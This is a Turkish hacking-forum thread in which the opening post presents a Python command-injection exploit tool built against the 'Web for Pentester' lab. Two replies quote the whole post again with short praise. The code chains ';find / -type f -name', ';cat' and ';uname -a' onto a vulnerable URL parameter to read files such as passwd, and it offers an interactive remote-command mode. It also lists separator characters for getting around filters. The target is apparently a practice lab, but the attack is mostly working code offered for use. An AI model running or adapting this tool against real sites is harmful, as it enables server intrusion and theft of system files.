command injection exploit (python)--web for pentester--

yuathay

Katılımcı Üye
7 Mar 2023
377
180
Gitti

bilmemiz gereken temel bilgiler :​

dizinimde hangi içeriklerin olduğuna bakıyorum​

path.py adlı dosyayı çekmek istiyorum bunu için şu komutu yazmalıyım​

görebildiğiniz gibi dosyanın yolu bize gelmiş oldu:​

/home/a/Desktop/python/exploit/path.py​


bu dosyanın içeriğini okumak için​




açıklama :​

/ : kök dizinden itibaren arama yap demek​

-type f : file tipinde arama yap yani dosya tipinde arama yap demek​

-name 'path.py' : aradıgımız dosyanın ismi​

buradaki bilgiler siteden passwd ve hosts dosyası gibi dosyaları çekerken işimize yarıycak​

----------------------------------------------------------

; noktalı virgül ne işe yarar​


etc dizininde iken önce Desktop dizinine gittim ve ardından ls komutunu çalıştırdım (ve bunu aynı satırda yaptım) yani noktalı virgül bir satırda birden fazla komut çalıştırmamızı sağlar​

-----------------------------------------

dizinlerde geriye gitmek :​


-----------------------------------------

command injection açığı olan bir sitede ; yardımı ile komut çalıştırabiliyoruz​

----------------------------------------

kodlara geçelim :​


b 'nin içindeki değerler :​


şimdi bu gelen değerler içinden işimize yarayacakları alalım​


resimde gordüğünüz gibi bize gelen dosyalardan önce ms adında bir yazı var o zaman ms denen yeri split("ms") ile parçalayalım​

parçaladıktan sonra değerler bir liste haline dönecek ve bizim işimize yarayan değerlerde 4.indexde olacak bizim indeximizde gereksiz bir </pre>] değeri var bunuda replace("</pre>]","") ile kaldırıyoruz​

ardından split() ile her bir değeri birbirinden ayırıyoruz ayırmazsak gelen değerler bir bütün olarak sayılır​

sonucumuz :​


kodun devamı :​



-----------------------------------------------

-----------------------------------------------


toolumuzu kullanalım :​


ilk olarak karşımıza bura çıkıcak :​



ben dosya çekmek istedigim icin 1 e basıyorum​




ve ardından dosya adını belirtiyorum​




istedigim dosyanın hangi dizinlerde bulundugunu bana gosterdi 7 ye basarak hepsinin içeriğini alabiliriz ama ben 4 e basıcam​




passwd dosyasının içeriği bu şekildeydi​

--------------------

şimdi 2.secenegi secelim​









3.secenekde bize sistem bilgisni veriyor :​




toolun videoda çalışan hali :​

video

kodun tam hali :
Python:
import requests
from bs4 import BeautifulSoup
import subprocess

#kodu geliştirmek isteyenler için:
#siteye gonderilen değerleri encode işleminden geçirip gönderebilirsiniz
#bazen sadece ; kullanımı yetmeyebilir komut yazmak için bunlarıda kullanmamız gerekebilir [";","|","&","&&"]

while True:
    print("çıkmak için ctrl+c yada ctrl+z ye basın")
    print("""
ne yapmak istiyorsunuz ?

1) dosya çekmek
2) sitede komut çalıştırmak         
3) sistemin bilgilerini öğrenmek
""")
    while True:
        try:
            girdi = int(input())
            break
        except:
            print("sayı girin")

    site = "http://10.0.2.7/commandexec/example1.php?ip=127.0.0.1"
    bul = ";find / -type f -name"
    en_dibe_git = ";cd ../../../../../"
  

    if girdi == 1:
        subprocess.call("clear",shell=True)
        while True:
            dosya_adı = str(input("sadece dosya adını yaz örneğin : passwd\n\n"))
            a = requests.get(f"{site}{en_dibe_git}{bul} '{dosya_adı}'").text
            b = BeautifulSoup(a,'html.parser').find_all("pre")
          
            k = str(b).split("ms")[4].replace("</pre>]","").split()

            if not k:
                a = requests.get(f"{site}{en_dibe_git}{bul} '{dosya_adı.lower()}'").text
                b = BeautifulSoup(a,'html.parser').find_all("pre")
                k = str(b).split("ms")[4].replace("</pre>]","").split()
                if not k:
                    subprocess.call("clear",shell=True)
                    print("dosya adını yanlış girdiniz yada dosya mevcut değil\n")
                    continue
                  
            liste = []
            dizinler = []

            for i in k:
                dizinler.append(i)
                liste.append(requests.get(f"{site}{en_dibe_git};cat {i}").text)

            sayı = 0
          
            print("Çekmek İstediginiz Dosyayı İçeren Mevcut Dizinler :\n")
            for a in dizinler:
                print("************************")
                print(f"{sayı} :",a)
                sayı += 1
            print("************************")
            print(f"{sayı} : hepsi")
            while True:
                try:
                    çekmek_istenilen_dosya = int(input("\nHangi Dizindeki Dosyayı Çekmek İstersiniz "))
                    break
                except:
                    print("integer değer gir")
            if çekmek_istenilen_dosya == sayı:
                for sayılar in range(sayı):
                    dosya_içeriği = str(liste[sayılar]).split("ms")[4].split("</pre>")[0]
                    if not dosya_içeriği.split():
                      
                        print(f"\n{dizinler[sayılar]} ADLI DOSYAYI OKUMAYA İZNİNİZ YOK BAŞKA BİR DOSYA DENEYİN\n")     
                        print("#############################################")

                    else:
                        print(f"{dizinler[sayılar]} ADLI DOSYANIN İÇERİĞİ :\n{dosya_içeriği}")
                        print("#############################################")
            else:
                dosya_içeriği = str(liste[çekmek_istenilen_dosya]).split("ms")[4].split("</pre>")[0]
                if not dosya_içeriği.split():
                    print("#############################################")
                    print(f"\n{dizinler[çekmek_istenilen_dosya]} ADLI DOSYAYI OKUMAYA İZNİNİZ YOK BAŞKA BİR DOSYA DENEYİN\n")
                    print("#############################################")
                else:
                    print("#############################################")
                    print(f"{dizinler[çekmek_istenilen_dosya]} ADLI DOSYANIN İÇERİĞİ :\n{dosya_içeriği}")
                    print("#############################################")


    elif girdi == 2:
        subprocess.call("clear",shell=True)
        print("#############################################")
        print("NOT bu alanda tek kullanımlık komutlar girebilirsiniz ornegin önce cd /etc komutunu girip ardından ls komutunu yazamazsınız cd /etc;ls komutunu girmeniz gerekir")
        print("#############################################")
        while True:
            komut = input("komutu girin :\n")
            çıktı = requests.get(f"{site};{komut}").text
            a = BeautifulSoup(çıktı,'html.parser').find_all("pre")
            print("*********************************************")
            print(str(a).split("ms")[4].replace("</pre>]",""))
            print("*********************************************")


    elif girdi == 3:
        subprocess.call("clear",shell=True)

        sistem_adı = requests.get(f"{site};uname -a").text
        b = BeautifulSoup(sistem_adı,'html.parser').find_all("pre")
        print("#############################################")
        print(str(b).split("ms")[4].replace("</pre>]",""))
        print("#############################################")
 
Son düzenleme:

cikolata777

Yeni üye
12 Eki 2023
6
3

bilmemiz gereken temel bilgiler :​

dizinimde hangi içeriklerin olduğuna bakıyorum​

path.py adlı dosyayı çekmek istiyorum bunu için şu komutu yazmalıyım​

görebildiğiniz gibi dosyanın yolu bize gelmiş oldu:​

/home/a/Desktop/python/exploit/path.py​


bu dosyanın içeriğini okumak için​




açıklama :​

/ : kök dizinden itibaren arama yap demek​

-type f : file tipinde arama yap yani dosya tipinde arama yap demek​

-name 'path.py' : aradıgımız dosyanın ismi​

buradaki bilgiler siteden passwd ve hosts dosyası gibi dosyaları çekerken işimize yarıycak​

----------------------------------------------------------

; noktalı virgül ne işe yarar​


etc dizininde iken önce Desktop dizinine gittim ve ardından ls komutunu çalıştırdım (ve bunu aynı satırda yaptım) yani noktalı virgül bir satırda birden fazla komut çalıştırmamızı sağlar​

-----------------------------------------

dizinlerde geriye gitmek :​


-----------------------------------------

command injection açığı olan bir sitede ; yardımı ile komut çalıştırabiliyoruz​

----------------------------------------

kodlara geçelim :​


b 'nin içindeki değerler :​


şimdi bu gelen değerler içinden işimize yarayacakları alalım​


resimde gordüğünüz gibi bize gelen dosyalardan önce ms adında bir yazı var o zaman ms denen yeri split("ms") ile parçalayalım​

parçaladıktan sonra değerler bir liste haline dönecek ve bizim işimize yarayan değerlerde 4.indexde olacak bizim indeximizde gereksiz bir </pre>] değeri var bunuda replace("</pre>]","") ile kaldırıyoruz​

ardından split() ile her bir değeri birbirinden ayırıyoruz ayırmazsak gelen değerler bir bütün olarak sayılır​

sonucumuz :​


kodun devamı :​



-----------------------------------------------

-----------------------------------------------


toolumuzu kullanalım :​


ilk olarak karşımıza bura çıkıcak :​



ben dosya çekmek istedigim icin 1 e basıyorum​




ve ardından dosya adını belirtiyorum​




istedigim dosyanın hangi dizinlerde bulundugunu bana gosterdi 7 ye basarak hepsinin içeriğini alabiliriz ama ben 4 e basıcam​




passwd dosyasının içeriği bu şekildeydi​

--------------------

şimdi 2.secenegi secelim​









3.secenekde bize sistem bilgisni veriyor :​




toolun videoda çalışan hali :​

video

kodun tam hali :
Python:
import requests
from bs4 import BeautifulSoup
import subprocess

#kodu geliştirmek isteyenler için:
#siteye gonderilen değerleri encode işleminden geçirip gönderebilirsiniz
#bazen sadece ; kullanımı yetmeyebilir komut yazmak için bunlarıda kullanmamız gerekebilir [";","|","&","&&"]

while True:
    print("çıkmak için ctrl+c yada ctrl+z ye basın")
    print("""
ne yapmak istiyorsunuz ?

1) dosya çekmek
2) sitede komut çalıştırmak        
3) sistemin bilgilerini öğrenmek
""")
    while True:
        try:
            girdi = int(input())
            break
        except:
            print("sayı girin")

    site = "http://10.0.2.7/commandexec/example1.php?ip=127.0.0.1"
    bul = ";find / -type f -name"
    en_dibe_git = ";cd ../../../../../"
 

    if girdi == 1:
        subprocess.call("clear",shell=True)
        while True:
            dosya_adı = str(input("sadece dosya adını yaz örneğin : passwd\n\n"))
            a = requests.get(f"{site}{en_dibe_git}{bul} '{dosya_adı}'").text
            b = BeautifulSoup(a,'html.parser').find_all("pre")
         
            k = str(b).split("ms")[4].replace("</pre>]","").split()

            if not k:
                a = requests.get(f"{site}{en_dibe_git}{bul} '{dosya_adı.lower()}'").text
                b = BeautifulSoup(a,'html.parser').find_all("pre")
                k = str(b).split("ms")[4].replace("</pre>]","").split()
                if not k:
                    subprocess.call("clear",shell=True)
                    print("dosya adını yanlış girdiniz yada dosya mevcut değil\n")
                    continue
                 
            liste = []
            dizinler = []

            for i in k:
                dizinler.append(i)
                liste.append(requests.get(f"{site}{en_dibe_git};cat {i}").text)

            sayı = 0
         
            print("Çekmek İstediginiz Dosyayı İçeren Mevcut Dizinler :\n")
            for a in dizinler:
                print("************************")
                print(f"{sayı} :",a)
                sayı += 1
            print("************************")
            print(f"{sayı} : hepsi")
            while True:
                try:
                    çekmek_istenilen_dosya = int(input("\nHangi Dizindeki Dosyayı Çekmek İstersiniz "))
                    break
                except:
                    print("integer değer gir")
            if çekmek_istenilen_dosya == sayı:
                for sayılar in range(sayı):
                    dosya_içeriği = str(liste[sayılar]).split("ms")[4].split("</pre>")[0]
                    if not dosya_içeriği.split():
                     
                        print(f"\n{dizinler[sayılar]} ADLI DOSYAYI OKUMAYA İZNİNİZ YOK BAŞKA BİR DOSYA DENEYİN\n")    
                        print("#############################################")

                    else:
                        print(f"{dizinler[sayılar]} ADLI DOSYANIN İÇERİĞİ :\n{dosya_içeriği}")
                        print("#############################################")
            else:
                dosya_içeriği = str(liste[çekmek_istenilen_dosya]).split("ms")[4].split("</pre>")[0]
                if not dosya_içeriği.split():
                    print("#############################################")
                    print(f"\n{dizinler[çekmek_istenilen_dosya]} ADLI DOSYAYI OKUMAYA İZNİNİZ YOK BAŞKA BİR DOSYA DENEYİN\n")
                    print("#############################################")
                else:
                    print("#############################################")
                    print(f"{dizinler[çekmek_istenilen_dosya]} ADLI DOSYANIN İÇERİĞİ :\n{dosya_içeriği}")
                    print("#############################################")


    elif girdi == 2:
        subprocess.call("clear",shell=True)
        print("#############################################")
        print("NOT bu alanda tek kullanımlık komutlar girebilirsiniz ornegin önce cd /etc komutunu girip ardından ls komutunu yazamazsınız cd /etc;ls komutunu girmeniz gerekir")
        print("#############################################")
        while True:
            komut = input("komutu girin :\n")
            çıktı = requests.get(f"{site};{komut}").text
            a = BeautifulSoup(çıktı,'html.parser').find_all("pre")
            print("*********************************************")
            print(str(a).split("ms")[4].replace("</pre>]",""))
            print("*********************************************")


    elif girdi == 3:
        subprocess.call("clear",shell=True)

        sistem_adı = requests.get(f"{site};uname -a").text
        b = BeautifulSoup(sistem_adı,'html.parser').find_all("pre")
        print("#############################################")
        print(str(b).split("ms")[4].replace("</pre>]",""))
        print("#############################################")
Elinize sağlık
 

Çokgen

Katılımcı Üye
4 Eyl 2023
412
196

bilmemiz gereken temel bilgiler :​

dizinimde hangi içeriklerin olduğuna bakıyorum​

path.py adlı dosyayı çekmek istiyorum bunu için şu komutu yazmalıyım​

görebildiğiniz gibi dosyanın yolu bize gelmiş oldu:​

/home/a/Desktop/python/exploit/path.py​


bu dosyanın içeriğini okumak için​




açıklama :​

/ : kök dizinden itibaren arama yap demek​

-type f : file tipinde arama yap yani dosya tipinde arama yap demek​

-name 'path.py' : aradıgımız dosyanın ismi​

buradaki bilgiler siteden passwd ve hosts dosyası gibi dosyaları çekerken işimize yarıycak​

----------------------------------------------------------

; noktalı virgül ne işe yarar​


etc dizininde iken önce Desktop dizinine gittim ve ardından ls komutunu çalıştırdım (ve bunu aynı satırda yaptım) yani noktalı virgül bir satırda birden fazla komut çalıştırmamızı sağlar​

-----------------------------------------

dizinlerde geriye gitmek :​


-----------------------------------------

command injection açığı olan bir sitede ; yardımı ile komut çalıştırabiliyoruz​

----------------------------------------

kodlara geçelim :​


b 'nin içindeki değerler :​


şimdi bu gelen değerler içinden işimize yarayacakları alalım​


resimde gordüğünüz gibi bize gelen dosyalardan önce ms adında bir yazı var o zaman ms denen yeri split("ms") ile parçalayalım​

parçaladıktan sonra değerler bir liste haline dönecek ve bizim işimize yarayan değerlerde 4.indexde olacak bizim indeximizde gereksiz bir </pre>] değeri var bunuda replace("</pre>]","") ile kaldırıyoruz​

ardından split() ile her bir değeri birbirinden ayırıyoruz ayırmazsak gelen değerler bir bütün olarak sayılır​

sonucumuz :​


kodun devamı :​



-----------------------------------------------

-----------------------------------------------


toolumuzu kullanalım :​


ilk olarak karşımıza bura çıkıcak :​



ben dosya çekmek istedigim icin 1 e basıyorum​




ve ardından dosya adını belirtiyorum​




istedigim dosyanın hangi dizinlerde bulundugunu bana gosterdi 7 ye basarak hepsinin içeriğini alabiliriz ama ben 4 e basıcam​




passwd dosyasının içeriği bu şekildeydi​

--------------------

şimdi 2.secenegi secelim​









3.secenekde bize sistem bilgisni veriyor :​




toolun videoda çalışan hali :​

video

kodun tam hali :
Python:
import requests
from bs4 import BeautifulSoup
import subprocess

#kodu geliştirmek isteyenler için:
#siteye gonderilen değerleri encode işleminden geçirip gönderebilirsiniz
#bazen sadece ; kullanımı yetmeyebilir komut yazmak için bunlarıda kullanmamız gerekebilir [";","|","&","&&"]

while True:
    print("çıkmak için ctrl+c yada ctrl+z ye basın")
    print("""
ne yapmak istiyorsunuz ?

1) dosya çekmek
2) sitede komut çalıştırmak        
3) sistemin bilgilerini öğrenmek
""")
    while True:
        try:
            girdi = int(input())
            break
        except:
            print("sayı girin")

    site = "http://10.0.2.7/commandexec/example1.php?ip=127.0.0.1"
    bul = ";find / -type f -name"
    en_dibe_git = ";cd ../../../../../"
 

    if girdi == 1:
        subprocess.call("clear",shell=True)
        while True:
            dosya_adı = str(input("sadece dosya adını yaz örneğin : passwd\n\n"))
            a = requests.get(f"{site}{en_dibe_git}{bul} '{dosya_adı}'").text
            b = BeautifulSoup(a,'html.parser').find_all("pre")
         
            k = str(b).split("ms")[4].replace("</pre>]","").split()

            if not k:
                a = requests.get(f"{site}{en_dibe_git}{bul} '{dosya_adı.lower()}'").text
                b = BeautifulSoup(a,'html.parser').find_all("pre")
                k = str(b).split("ms")[4].replace("</pre>]","").split()
                if not k:
                    subprocess.call("clear",shell=True)
                    print("dosya adını yanlış girdiniz yada dosya mevcut değil\n")
                    continue
                 
            liste = []
            dizinler = []

            for i in k:
                dizinler.append(i)
                liste.append(requests.get(f"{site}{en_dibe_git};cat {i}").text)

            sayı = 0
         
            print("Çekmek İstediginiz Dosyayı İçeren Mevcut Dizinler :\n")
            for a in dizinler:
                print("************************")
                print(f"{sayı} :",a)
                sayı += 1
            print("************************")
            print(f"{sayı} : hepsi")
            while True:
                try:
                    çekmek_istenilen_dosya = int(input("\nHangi Dizindeki Dosyayı Çekmek İstersiniz "))
                    break
                except:
                    print("integer değer gir")
            if çekmek_istenilen_dosya == sayı:
                for sayılar in range(sayı):
                    dosya_içeriği = str(liste[sayılar]).split("ms")[4].split("</pre>")[0]
                    if not dosya_içeriği.split():
                     
                        print(f"\n{dizinler[sayılar]} ADLI DOSYAYI OKUMAYA İZNİNİZ YOK BAŞKA BİR DOSYA DENEYİN\n")    
                        print("#############################################")

                    else:
                        print(f"{dizinler[sayılar]} ADLI DOSYANIN İÇERİĞİ :\n{dosya_içeriği}")
                        print("#############################################")
            else:
                dosya_içeriği = str(liste[çekmek_istenilen_dosya]).split("ms")[4].split("</pre>")[0]
                if not dosya_içeriği.split():
                    print("#############################################")
                    print(f"\n{dizinler[çekmek_istenilen_dosya]} ADLI DOSYAYI OKUMAYA İZNİNİZ YOK BAŞKA BİR DOSYA DENEYİN\n")
                    print("#############################################")
                else:
                    print("#############################################")
                    print(f"{dizinler[çekmek_istenilen_dosya]} ADLI DOSYANIN İÇERİĞİ :\n{dosya_içeriği}")
                    print("#############################################")


    elif girdi == 2:
        subprocess.call("clear",shell=True)
        print("#############################################")
        print("NOT bu alanda tek kullanımlık komutlar girebilirsiniz ornegin önce cd /etc komutunu girip ardından ls komutunu yazamazsınız cd /etc;ls komutunu girmeniz gerekir")
        print("#############################################")
        while True:
            komut = input("komutu girin :\n")
            çıktı = requests.get(f"{site};{komut}").text
            a = BeautifulSoup(çıktı,'html.parser').find_all("pre")
            print("*********************************************")
            print(str(a).split("ms")[4].replace("</pre>]",""))
            print("*********************************************")


    elif girdi == 3:
        subprocess.call("clear",shell=True)

        sistem_adı = requests.get(f"{site};uname -a").text
        b = BeautifulSoup(sistem_adı,'html.parser').find_all("pre")
        print("#############################################")
        print(str(b).split("ms")[4].replace("</pre>]",""))
        print("#############################################")
Eline sağlık çok güzel yazmışsınız yine
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.